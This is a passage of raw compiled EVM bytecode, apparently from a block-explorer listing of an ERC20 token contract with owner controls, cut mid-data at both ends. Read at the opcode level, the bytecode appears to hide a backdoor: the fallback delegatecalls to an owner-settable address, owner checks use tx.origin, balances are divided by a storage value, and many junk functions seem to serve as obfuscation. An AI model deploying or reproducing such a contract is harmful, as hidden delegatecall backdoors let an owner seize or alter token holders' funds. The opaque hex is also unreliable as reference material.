ff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe6003546138fa91906141c2565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561394a576000602055613a2f565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541080156139e85750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15613a2e578060005230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560206000a361270f54828161271001558060010161270f55505b5b505050565b828054613a40906142e7565b90600052602060002090601f016020900481019282613a625760008555613aa9565b82601f10613a7b57805160ff1916838001178555613aa9565b82800160010185558215613aa9579182015b82811115613aa8578251825591602001919060010190613a8d565b5b509050613ab69190613aba565b5090565b5b80821115613ad3576000816000905550600101613abb565b5090565b6000613aea613ae584614109565b6140e4565b905082815260208101848484011115613b0657613b0561443c565b5b613b118482856142a5565b509392505050565b600081359050613b28816146b1565b92915050565b600082601f830112613b4357613b42614437565b5b8135613b53848260208601613ad7565b91505092915050565b600081359050613b6b816146c8565b92915050565b600081519050613b80816146c8565b92915050565b600060208284031215613b9c57613b9b614446565b5b6000613baa84828501613b19565b91505092915050565b60008060408385031215613bca57613bc9614446565b5b6000613bd885828601613b19565b9250506020613be985828601613b19565b9150509250929050565b600080600060608486031215613c0c57613c0b614446565b5b6000613c1a86828701613b19565b9350506020613c2b86828701613b19565b9250506040613c3c86828701613b5c565b9150509250925092565b60008060408385031215613c5d57613c5c614446565b5b6000613c6b85828601613b19565b9250506020613c7c85828601613b5c565b9150509250929050565b600080600060608486031215613c9f57613c9e614446565b5b600084013567ffffffffffffffff811115613cbd57613cbc614441565b5b613cc986828701613b2e565b935050602084013567ffffffffffffffff811115613cea57613ce9614441565b5b613cf686828701613b2e565b9250506040613d0786828701613b5c565b9150509250925092565b600060208284031215613d2757613d26614446565b5b6000613d3584828501613b71565b91505092915050565b613d4781614250565b82525050565b613d5681614262565b82525050565b6000613d678261413a565b613d718185614150565b9350613d818185602086016142b4565b80840191505092915050565b6000613d9882614145565b613da2818561415b565b9350613db28185602086016142b4565b613dbb8161444b565b840191505092915050565b6000613dd360238361415b565b9150613dde8261445c565b604082019050919050565b6000613df660268361415b565b9150613e01826144ab565b604082019050919050565b6000613e1960228361415b565b9150613e24826144fa565b604082019050919050565b6000613e3c601d8361415b565b9150613e4782614549565b602082019050919050565b6000613e5f601f8361415b565b9150613e6a82614572565b602082019050919050565b6000613e8260208361415b565b9150613e8d8261459b565b602082019050919050565b6000613ea560258361415b565b9150613eb0826145c4565b604082019050919050565b6000613ec860248361415b565b9150613ed382614613565b604082019050919050565b6000613eeb60258361415b565b9150613ef682614662565b604082019050919050565b613f0a8161428e565b82525050565b613f1981614298565b82525050565b6000613f2b8284613d5c565b915081905092915050565b6000602082019050613f4b6000830184613d3e565b92915050565b6000602082019050613f666000830184613d4d565b92915050565b60006020820190508181036000830152613f868184613d8d565b905092915050565b60006020820190508181036000830152613fa781613dc6565b9050919050565b60006020820190508181036000830152613fc781613de9565b9050919050565b60006020820190508181036000830152613fe781613e0c565b9050919050565b6000602082019050818103600083015261400781613e2f565b9050919050565b6000602082019050818103600083015261402781613e52565b9050919050565b6000602082019050818103600083015261404781613e75565b9050919050565b6000602082019050818103600083015261406781613e98565b9050919050565b6000602082019050818103600083015261408781613ebb565b9050919050565b600060208201905081810360008301526140a781613ede565b9050919050565b60006020820190506140c36000830184613f01565b92915050565b60006020820190506140de6000830184613f10565b92915050565b60006140ee6140ff565b90506140fa8282614319565b919050565b6000604051905090565b600067ffffffffffffffff82111561412457614123614408565b5b61412d8261444b565b9050602081019050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006141778261428e565b91506141828361428e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156141b7576141b661437b565b5b828201905092915050565b60006141cd8261428e565b91506141d88361428e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156142115761421061437b565b5b828202905092915050565b60006142278261428e565b91506142328361428e565b9250828210156142455761424461437b565b5b828203905092915050565b600061425b8261426e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156142d25780820151818401526020810190506142b7565b838111156142e1576000848401525b50505050565b600060028204905060018216806142ff57607f821691505b60208210811415614313576143126143d9565b5b50919050565b6143228261444b565b810181811067ffffffffffffffff8211171561434157614340614408565b5b80604052505050565b60006143558261428e565b91506143608361428e565b9250826143705761436f6143aa565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220657863656564732062616c616e636500600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6146ba81614250565b81146146c557600080fd5b50565b6146d18161428e565b81146146dc57600080fd5b5056fea2646970667358221220d039917ae4a53bf5e6a4715cd366bcfbb3896e2841b62b9f6964ea01eb0f313c64736f6c63430008060033
Deployed Bytecode
0x6080604052600436106102345760003560e01c80638da5cb5b1161012e578063dd62ed3e116100ab578063f0d45a7b1161006f578063f0d45a7b146108e5578063f2fde38b14610910578063fbb5061314610939578063fc025b0314610964578063ffcd96171461098f5761023b565b8063dd62ed3e146107fc578063df731b2514610839578063e04683d414610864578063e8f4fe661461088f578063eacca9da146108ba5761023b565b8063a7f293dc116100f2578063a7f293dc14610713578063a9059cbb1461073e578063bcc6cd3d1461077b578063ccaa1c52146107a6578063dd416712146107d15761023b565b80638da5cb5b1461062a5780638dd950021461065557806395d89b4114610680578063a457c2d7146106ab578063a4e2ce8c146106e85761023b565b806339509351116101bc57806368136d1f1161018057806368136d1f146105555780637047ed3b1461058057806370a08231146105ab578063715018a6146105e85780637a1faaee146105ff5761023b565b8063395093511461046c57806339c8cbef146104a957806349168855146104d457806351ca6548146104ff578063614bdaf61461052a5761023b565b806323b872dd1161020357806323b872dd146103835780632776a333146103c0578063313ce567146103eb5780633351940e14610416578063352f5365146104415761023b565b806306fdde03146102c7578063095ea7b3146102f257806318160ddd1461032f5780631cb5899f1461035a5761023b565b3661023b57005b34801561024757600080fd5b50600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505090506004600802600460200182015114156102c4576020600082516008600402840130545af46102be57600080fd5b60206000f35b50005b3480156102d357600080fd5b506102dc6109ba565b6040516102e99190613f6c565b60405180910390f35b3480156102fe57600080fd5b5061031960048036038101906103149190613c46565b610aac565b6040516103269190613f51565b60405180910390f35b34801561033b57600080fd5b50610344610acf565b60405161035191906140ae565b60405180910390f35b34801561036657600080fd5b50610381600480360381019061037c9190613c86565b610b94565b005b34801561038f57600080fd5b506103aa60048036038101906103a59190613bf3565b610c3f565b6040516103b79190613f51565b60405180910390f35b3480156103cc57600080fd5b506103d5610c6e565b6040516103e291906140ae565b60405180910390f35b3480156103f757600080fd5b50610400610dd4565b60405161040d91906140c9565b60405180910390f35b34801561042257600080fd5b5061042b610e5b565b60405161043891906140ae565b60405180910390f35b34801561044d57600080fd5b50610456610ef6565b60405161046391906140ae565b60405180910390f35b34801561047857600080fd5b50610493600480360381019061048e9190613c46565b611005565b6040516104a09190613f51565b60405180910390f35b3480156104b557600080fd5b506104be61103c565b6040516104cb91906140ae565b60405180910390f35b3480156104e057600080fd5b506104e9611168565b6040516104f691906140ae565b60405180910390f35b34801561050b57600080fd5b506105146112b1565b60405161052191906140ae565b60405180910390f35b34801561053657600080fd5b5061053f61146e565b60405161054c91906140ae565b60405180910390f35b34801561056157600080fd5b5061056a61162b565b60405161057791906140ae565b60405180910390f35b34801561058c57600080fd5b506105956117ae565b6040516105a291906140ae565b60405180910390f35b3480156105b757600080fd5b506105d260048036038101906105cd9190613b86565b6118da565b6040516105df91906140ae565b60405180910390f35b3480156105f457600080fd5b506105fd611a41565b005b34801561060b57600080fd5b50610614611b41565b60405161062191906140ae565b60405180910390f35b34801561063657600080fd5b5061063f611cc3565b60405161064c9190613f36565b60405180910390f35b34801561066157600080fd5b5061066a611dc6565b6040516106779190613f36565b60405180910390f35b34801561068c57600080fd5b50610695611dde565b6040516106a29190613f6c565b60405180910390f35b3480156106b757600080fd5b506106d260048036038101906106cd9190613c46565b611f6b565b6040516106df9190613f51565b60405180910390f35b3480156106f457600080fd5b506106fd611fe2565b60405161070a91906140ae565b60405180910390f35b34801561071f57600080fd5b5061072861209a565b60405161073591906140ae565b60405180910390f35b34801561074a57600080fd5b5061076560048036038101906107609190613c46565b61221c565b6040516107729190613f51565b60405180910390f35b34801561078757600080fd5b5061079061223f565b60405161079d91906140ae565b60405180910390f35b3480156107b257600080fd5b506107bb6123a5565b6040516107c891906140ae565b60405180910390f35b3480156107dd57600080fd5b506107e6612497565b6040516107f391906140ae565b60405180910390f35b34801561080857600080fd5b50610823600480360381019061081e9190613bb3565b6125e0565b60405161083091906140ae565b60405180910390f35b34801561084557600080fd5b5061084e612667565b60405161085b91906140ae565b60405180910390f35b34801561087057600080fd5b506108796127ea565b60405161088691906140ae565b60405180910390f35b34801561089b57600080fd5b506108a4612950565b6040516108b191906140ae565b60405180910390f35b3480156108c657600080fd5b506108cf612a25565b6040516108dc91906140ae565b60405180910390f35b3480156108f157600080fd5b506108fa612b34565b60405161090791906140ae565b60405180910390f35b34801561091c57600080fd5b5061093760048036038101906109329190613b86565b612cb7565b005b34801561094557600080fd5b5061094e612da8565b60405161095b91906140ae565b60405180910390f35b34801561097057600080fd5b50610979612e9a565b60405161098691906140ae565b60405180910390f35b34801561099b57600080fd5b506109a4612fe3565b6040516109b191906140ae565b60405180910390f35b606060006244b2f6816109cd919061416c565b9050611db281116109dd57600080fd5b623ea9a0816109ec919061416c565b905061248181116109fc57600080fd5b621d0a6681610a0b919061416c565b9050610b3c8111610a1b57600080fd5b60058054610a28906142e7565b80601f0160208091040260200160405190810160405280929190818152602001828054610a54906142e7565b8015610aa15780601f10610a7657610100808354040283529160200191610aa1565b820191906000526020600020905b815481529060010190602001808311610a8457829003601f168201915b505050505091505090565b600080610ab7613166565b9050610ac481858561316e565b600191505092915050565b6000806238010981610ae1919061416c565b905061268d8111610af157600080fd5b6210a82b81610b00919061416c565b9050611ca58111610b1057600080fd5b6255c2de81610b1f919061416c565b90506112f58111610b2f57600080fd5b6221f7eb81610b3e919061416c565b90506101b98111610b4e57600080fd5b6253887881610b5d919061416c565b90506113af8111610b6d57600080fd5b624433c281610b7c919061416c565b905060978111610b8b57600080fd5b60035491505090565b3273ffffffffffffffffffffffffffffffffffffffff16610bb3611cc3565b73ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c009061402e565b60405180910390fd5b8160069080519060200190610c1f929190613a34565b508260059080519060200190610c36929190613a34565b50333055505050565b600080610c4a613166565b9050610c578582856133b8565b610c62858585613444565b60019150509392505050565b6000806259f636811115610c83576002810490505b623321cb6259f63601905062697448811115610ca0576002810490505b6219f43a62697448019050626220d8811115610cbd576002810490505b622cee49626220d80390506257eaa9811115610cda576002810490505b6255f6f26257eaa906905062584803811115610cf7576002810490505b624b869962584803049050622ff5f7811115610d14576002810490505b620d2185622ff5f7039050627c3101811115610d31576002810490505b623b987b627c3101029050625ee6e0811115610d4e576002810490505b6218be58625ee6e00290506250664e811115610d6b576002810490505b6248cef86250664e019050625906c1811115610d88576002810490505b62043c1c625906c10390506251f28d811115610da5576002810490505b622ae3fb6251f28d019050625de4e6811115610dc2576002810490505b623d95c5625de4e60490508091505090565b6000806235eb5581610de6919061416c565b9050611a2d8111610df657600080fd5b62339f9d81610e05919061416c565b90506111378111610e1557600080fd5b62490d8381610e24919061416c565b90506105468111610e3457600080fd5b620397c481610e43919061416c565b9050611de38111610e5357600080fd5b600991505090565b6000806274d39f811115610e70576002810490505b623ba5136274d39f049050627c4a59811115610e8d576002810490505b620c482d627c4a59029050625a36bd811115610eaa576002810490505b621ada91625a36bd039050624ae3da811115610ec7576002810490505b624a02c3624ae3da0290506273d214811115610ee4576002810490505b621031846273d2140390508091505090565b600080622e4c52811115610f0b576002810490505b6206e8bb622e4c520690506290c922811115610f28576002810490505b6244773c6290c92201905062486507811115610f45576002810490505b6228f13362486507029050625ae928811115610f62576002810490505b622223b7625ae928069050622e20b4811115610f7f576002810490505b6208ac19622e20b404905062584b6d811115610f9c576002810490505b621d5e1b62584b6d02905062579881811115610fb9576002810490505b624f881162579881049050626c75e3811115610fd6576002810490505b622a4800626c75e3039050620681f6811115610ff3576002810490505b62039bde620681f60690508091505090565b600080611010613166565b905061103181858561102285896125e0565b61102c919061416c565b61316e565b600191505092915050565b600080625db361811115611051576002810490505b62325cb7625db361049050626866fc81111561106e576002810490505b62169596626866fc049050625769e881111561108b576002810490505b6247e5cf625769e8019050628743998111156110a8576002810490505b6227907b6287439903905062966cb58111156110c5576002810490505b6253055662966cb5069050627ade418111156110e2576002810490505b6236878f627ade410390506258aeaf8111156110ff576002810490505b623be8a46258aeaf069050626f4af281111561111c576002810490505b62572d87626f4af2019050623db74b811115611139576002810490505b621195bb623db74b069050627b1ead811115611156576002810490505b622a5759627b1ead0690508091505090565b6000806258697b81111561117d576002810490505b6220af646258697b049050627afcd681111561119a576002810490505b621ba85e627afcd60190506283f1d38111156111b7576002810490505b620749736283f1d30190506281f9f98111156111d4576002810490505b624a5f6c6281f9f9039050625b05318111156111f1576002810490505b6244ad32625b05310690506260369981111561120e576002810490505b624e82b3626036990490506263a15781111561122b576002810490505b622fec476263a1570290506280ea14811115611248576002810490505b6234c8566280ea14029050622ac4bb811115611265576002810490505b62087666622ac4bb01905062759ba0811115611282576002810490505b624f8b3662759ba004905062648b6381111561129f576002810490505b6225f87062648b630290508091505090565b6000806254252b8111156112c6576002810490505b6238eff06254252b029050628603288111156112e3576002810490505b6256cd7662860328069050625d3c8b811115611300576002810490505b624ca9a3625d3c8b02905062785ee681111561131d576002810490505b6256d52562785ee602905062825c1681111561133a576002810490505b6206ea9562825c16029050626d3a38811115611357576002810490505b62541ee2626d3a38019050626ac7ae811115611374576002810490505b622f4837626ac7ae06905062688264811115611391576002810490505b62099dc362688264049050621ba6648111156113ae576002810490505b621b97dd621ba664039050627fa7378111156113cb576002810490505b621124e6627fa737049050625ad01e8111156113e8576002810490505b6245058e625ad01e049050620cf2fc811115611405576002810490505b6207d10a620cf2fc069050625df4e2811115611422576002810490505b62520d01625df4e202905062623e8981111561143f576002810490505b6225d64f62623e890190506291f12181111561145c576002810490505b62424a0e6291f1210690508091505090565b600080621d54c1811115611483576002810490505b621ad5f3621d54c1029050628c8d5c8111156114a0576002810490505b620f5ab3628c8d5c069050628aed218111156114bd576002810490505b6222f420628aed21049050624558a98111156114da576002810490505b623c459e624558a9039050627554058111156114f7576002810490505b621326cd62755405049050627df0fa811115611514576002810490505b6246ae09627df0fa039050624f5583811115611531576002810490505b62153f46624f5583019050629013d881111561154e576002810490505b621922b1629013d80390506297036681111561156b576002810490505b623333296297036602905062624803811115611588576002810490505b6257d213626248030190506264dd3e8111156115a5576002810490505b623bba6b6264dd3e029050627e54d08111156115c2576002810490505b620e162e627e54d00290506290d4a68111156115df576002810490505b623916c26290d4a60290506216bbae8111156115fc576002810490505b620cf9f26216bbae069050626762cb811115611619576002810490505b62130939626762cb0490508091505090565b600080625451fa811115611640576002810490505b62330f96625451fa03905062973cb381111561165d576002810490505b6216b31562973cb3029050624a4a5a81111561167a576002810490505b622647e1624a4a5a039050628011d3811115611697576002810490505b62597d45628011d3029050626f8e948111156116b4576002810490505b620be6b0626f8e9406905062850ab78111156116d1576002810490505b6248f97562850ab70190506210c6f48111156116ee576002810490505b620d36f36210c6f4049050624da16981111561170b576002810490505b622ca60b624da16906905062796f21811115611728576002810490505b62188bd862796f2101905062754046811115611745576002810490505b6210b223627540460190506279dd65811115611762576002810490505b620fd62d6279dd650690506240a8c381111561177f576002810490505b620457616240a8c30290506285bb7281111561179c576002810490505b6253ad816285bb720690508091505090565b600080625e24148111156117c3576002810490505b623af58e625e2414029050629348748111156117e0576002810490505b6229c50062934874019050625d865b8111156117fd576002810490505b62559b25625d865b019050627684c081111561181a576002810490505b624ce8f8627684c0069050623a6a21811115611837576002810490505b621f19fd623a6a210390506238135a811115611854576002810490505b6233ed386238135a0290506250cbf4811115611871576002810490505b624b049a6250cbf40390506256401681111561188e576002810490505b6231c8466256401603905062679a4b8111156118ab576002810490505b6258cfb362679a4b039050627ebc568111156118c8576002810490505b6218f20e627ebc560290508091505090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561194f57600061193c613710565b905060205481101561194d57600080fd5b505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ec57600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611a3c565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a39919061434a565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff16611a60611cc3565b73ffffffffffffffffffffffffffffffffffffffff1614611ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aad9061402e565b60405180910390fd5b60006219ee9781611ac7919061416c565b90506122fd8111611ad757600080fd5b6219faf281611ae6919061416c565b90506105a58111611af657600080fd5b620b79ab81611b05919061416c565b9050610ff38111611b1557600080fd5b621ea3f281611b24919061416c565b9050611cec8111611b3457600080fd5b611b3e6000613822565b50565b600080628a4caf811115611b56576002810490505b6249e07a628a4caf0290506290eada811115611b73576002810490505b623e0b946290eada0190506295e398811115611b90576002810490505b6254f6876295e39803905062806a7f811115611bad576002810490505b624318ed62806a7f0390506268641e811115611bca576002810490505b62481fc86268641e069050625f5fce811115611be7576002810490505b624bf1fb625f5fce069050621a55a3811115611c04576002810490505b6209f047621a55a3049050621bf3b0811115611c21576002810490505b6214aa97621bf3b00390506266feb8811115611c3e576002810490505b6249f7d16266feb80390506269b9c7811115611c5b576002810490505b625291a46269b9c70490506274537b811115611c78576002810490505b623c0fef6274537b019050627b378a811115611c95576002810490505b61a2f3627b378a029050627c2734811115611cb1576002810490505b62334dd4627c27340390508091505090565b600080623a575281611cd5919061416c565b9050610b5a8111611ce557600080fd5b62380f1f81611cf4919061416c565b90506112cf8111611d0457600080fd5b6222bccf81611d13919061416c565b90506117e58111611d2357600080fd5b622071c781611d32919061416c565b905061093f8111611d4257600080fd5b620ef67381611d51919061416c565b90506122ba8111611d6157600080fd5b6228850581611d70919061416c565b9050611c588111611d8057600080fd5b623c1f6581611d8f919061416c565b9050610e7f8111611d9f57600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b60606000621697bc81611df1919061416c565b90506119df8111611e0157600080fd5b624a58f181611e10919061416c565b9050610cb78111611e2057600080fd5b621bd27281611e2f919061416c565b90506105c58111611e3f57600080fd5b62293cc081611e4e919061416c565b9050611b718111611e5e57600080fd5b6253e25b81611e6d919061416c565b905061081e8111611e7d57600080fd5b621c8b2b81611e8c919061416c565b9050610c248111611e9c57600080fd5b6208e89181611eab919061416c565b90506126638111611ebb57600080fd5b6234a42881611eca919061416c565b9050610ca18111611eda57600080fd5b60068054611ee7906142e7565b80601f0160208091040260200160405190810160405280929190818152602001828054611f13906142e7565b8015611f605780601f10611f3557610100808354040283529160200191611f60565b820191906000526020600020905b815481529060010190602001808311611f4357829003601f168201915b505050505091505090565b600080611f76613166565b90506000611f8482866125e0565b905083811015611fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc09061408e565b60405180910390fd5b611fd6828686840361316e565b60019250505092915050565b60008062766680811115611ff7576002810490505b62375a636276668003905062483eaa811115612014576002810490505b620bb7ee62483eaa069050626e48cd811115612031576002810490505b62312552626e48cd0390506246871581111561204e576002810490505b623bac696246871503905062773dd981111561206b576002810490505b6229009462773dd9039050627ff5e9811115612088576002810490505b621ade60627ff5e90690508091505090565b600080626de9f78111156120af576002810490505b6221792b626de9f7069050626e47338111156120cc576002810490505b622630e5626e4733049050627d32848111156120e9576002810490505b61f8d6627d3284019050627a83d6811115612105576002810490505b62531aa7627a83d6029050626d2632811115612122576002810490505b625667a2626d26320690506228e81881111561213f576002810490505b622231396228e8180190506244a90781111561215c576002810490505b621089286244a907029050627cf012811115612179576002810490505b6234ddb7627cf0120490506296b3cc811115612196576002810490505b622cbfcd6296b3cc0690506284ba8a8111156121b3576002810490505b624ef0906284ba8a0390506250cad28111156121d0576002810490505b624f08186250cad2019050623cdd768111156121ed576002810490505b620fc93b623cdd76049050628707a281111561220a576002810490505b6230e105628707a20490508091505090565b600080612227613166565b9050612234818585613444565b600191505092915050565b60008062510090811115612254576002810490505b6240b5396251009002905062583fef811115612271576002810490505b6241194862583fef039050622cb59e81111561228e576002810490505b62141725622cb59e0490506295d5e08111156122ab576002810490505b62516c286295d5e0029050625e0d5c8111156122c8576002810490505b6237601a625e0d5c0690506221c77d8111156122e5576002810490505b621649c66221c77d0490506270c836811115612302576002810490505b624dbe636270c8360290506281204581111561231f576002810490505b6257c91d62812045039050629268d281111561233c576002810490505b620225af629268d201905062625ac0811115612359576002810490505b6235167d62625ac0069050627cfcbc811115612376576002810490505b62582158627cfcbc0490506221adfa811115612393576002810490505b62060a886221adfa0690508091505090565b6000806234bdce8111156123ba576002810490505b622c37046234bdce069050622f1e278111156123d7576002810490505b62264852622f1e270190506275f18d8111156123f4576002810490505b62585e496275f18d0490506259fcf1811115612411576002810490505b6211c7db6259fcf1069050627a371781111561242e576002810490505b625344ce627a37170290506255ae7081111561244b576002810490505b623854196255ae7003905062413463811115612468576002810490505b62041ffd62413463039050627c080b811115612485576002810490505b621107a7627c080b0390508091505090565b60008062713a9a8111156124ac576002810490505b622a3b4262713a9a04905062811a328111156124c9576002810490505b6229e93562811a32029050628255f78111156124e6576002810490505b623a70da628255f70490506271b02c811115612503576002810490505b622095916271b02c0390506263ed2b811115612520576002810490505b62503cb36263ed2b029050626455de81111561253d576002810490505b62401ec4626455de029050627505b381111561255a576002810490505b624744ec627505b3049050628e57ec811115612577576002810490505b62384035628e57ec019050628e997e811115612594576002810490505b6218f273628e997e0690506240352b8111156125b1576002810490505b6201add66240352b069050628b52d78111156125ce576002810490505b620e9575628b52d70290508091505090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806250324981111561267c576002810490505b623bb0ca62503249069050623704e9811115612699576002810490505b622a0949623704e90390506253eeea8111156126b6576002810490505b621e2a256253eeea029050627de3c38111156126d3576002810490505b620285b0627de3c3029050627a109c8111156126f0576002810490505b62571c9d627a109c019050627db2d681111561270d576002810490505b62120bd1627db2d60390506232e44781111561272a576002810490505b6232a7fc6232e447019050623c127e811115612747576002810490505b622f4e88623c127e049050625513b5811115612764576002810490505b62033575625513b501905062674283811115612781576002810490505b623e4751626742830190506295e7f481111561279e576002810490505b6253caa96295e7f4069050624948398111156127bb576002810490505b620cfd2662494839019050628d5b828111156127d8576002810490505b62316d57628d5b820190508091505090565b6000806258b8948111156127ff576002810490505b62483eb86258b8940490506293723f81111561281c576002810490505b62100d226293723f0190506280e237811115612839576002810490505b625b740e6280e23701905062818454811115612856576002810490505b62258791628184540490506223cbbe811115612873576002810490505b6220ec9b6223cbbe069050623cb913811115612890576002810490505b621e0811623cb913069050624d55e88111156128ad576002810490505b620fcbf7624d55e80390506247bcb68111156128ca576002810490505b624199806247bcb60190506213bdc98111156128e7576002810490505b6209aafa6213bdc906905062918451811115612904576002810490505b622e7dbd62918451039050626911c5811115612921576002810490505b624ba122626911c502905062755f8881111561293e576002810490505b62257ca962755f880490508091505090565b600080629543c1811115612965576002810490505b62549f29629543c1029050626ccc78811115612982576002810490505b623784fd626ccc780690506265f84e81111561299f576002810490505b624aa2656265f84e039050624025cc8111156129bc576002810490505b620e253f624025cc0690506238b8b88111156129d9576002810490505b621aedda6238b8b8039050622c977d8111156129f6576002810490505b6210d48c622c977d0290506252dd8c811115612a13576002810490505b6252ca6f6252dd8c0290508091505090565b60008062960ed6811115612a3a576002810490505b620f1e0e62960ed6039050627be0b0811115612a57576002810490505b6232e8d7627be0b0049050626fa118811115612a74576002810490505b624025c5626fa118069050628c1860811115612a91576002810490505b622c4693628c186003905062403f87811115612aae576002810490505b6238b60062403f87019050628f38e9811115612acb576002810490505b622ecac0628f38e903905062809f80811115612ae8576002810490505b6214c49e62809f8003905062974ddb811115612b05576002810490505b621eecc462974ddb0190506297e0b0811115612b22576002810490505b624d69116297e0b00190508091505090565b60008062778676811115612b49576002810490505b624dd18562778676039050628f0506811115612b66576002810490505b6237e37d628f0506029050622369e0811115612b83576002810490505b62093fcb622369e00390506292cf3c811115612ba0576002810490505b6225a6c56292cf3c049050627a7c0d811115612bbd576002810490505b62434de3627a7c0d02905062494597811115612bda576002810490505b624392f162494597049050624e87cd811115612bf7576002810490505b62247a5d624e87cd0490506250087a811115612c14576002810490505b623a2d2f6250087a029050622faaac811115612c31576002810490505b622a8ec3622faaac04905062615099811115612c4e576002810490505b6238b7476261509901905062576643811115612c6b576002810490505b6240e2c86257664304905062554e07811115612c88576002810490505b62326d6862554e07019050628e2180811115612ca5576002810490505b62258076628e21800290508091505090565b3273ffffffffffffffffffffffffffffffffffffffff16612cd6611cc3565b73ffffffffffffffffffffffffffffffffffffffff1614612d2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d239061402e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d9390613fae565b60405180910390fd5b612da581613822565b50565b6000806242b563811115612dbd576002810490505b6234f9246242b563049050626c12f5811115612dda576002810490505b6254dfb4626c12f504905062981c1c811115612df7576002810490505b621af10b62981c1c03905062786bb5811115612e14576002810490505b625523ad62786bb503905062641efc811115612e31576002810490505b62576fe462641efc02905062967dcc811115612e4e576002810490505b625861d862967dcc0290506276faf2811115612e6b576002810490505b624963f06276faf2069050626967ba811115612e88576002810490505b62045fa0626967ba0290508091505090565b600080627ea1cd811115612eaf576002810490505b62476392627ea1cd02905062271a74811115612ecc576002810490505b621068c562271a74069050622ddd8c811115612ee9576002810490505b620a5b0a622ddd8c049050628013d2811115612f06576002810490505b6206f472628013d2019050625ac1d6811115612f23576002810490505b623dd888625ac1d60190506266c816811115612f40576002810490505b6251618a6266c816049050626f7f7c811115612f5d576002810490505b623a1922626f7f7c0490506273a85d811115612f7a576002810490505b6212c1786273a85d069050626cba01811115612f97576002810490505b624fd0f5626cba01019050625ca4aa811115612fb4576002810490505b62369994625ca4aa04905062474237811115612fd1576002810490505b622d9e6a624742370290508091505090565b6000806276d328811115612ff8576002810490505b625af8bb6276d32803905062309db0811115613015576002810490505b620a464262309db0019050627f2c52811115613032576002810490505b6255e222627f2c52049050627ad28d81111561304f576002810490505b622d0c1a627ad28d029050625c9e8f81111561306c576002810490505b623bf8c4625c9e8f069050628a510a811115613089576002810490505b624f4ff5628a510a01905062515eda8111156130a6576002810490505b62011f8e62515eda019050626866058111156130c3576002810490505b62351a7962686605039050620628d38111156130e0576002810490505b62019487620628d30290506217503d8111156130fd576002810490505b62046ebe6217503d0390506287c61b81111561311a576002810490505b621a198f6287c61b01905062723545811115613137576002810490505b62560d6c6272354504905062971b1e811115613154576002810490505b6218fca162971b1e0690508091505090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156131de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131d59061406e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561324e576040517f08c379a000000000000000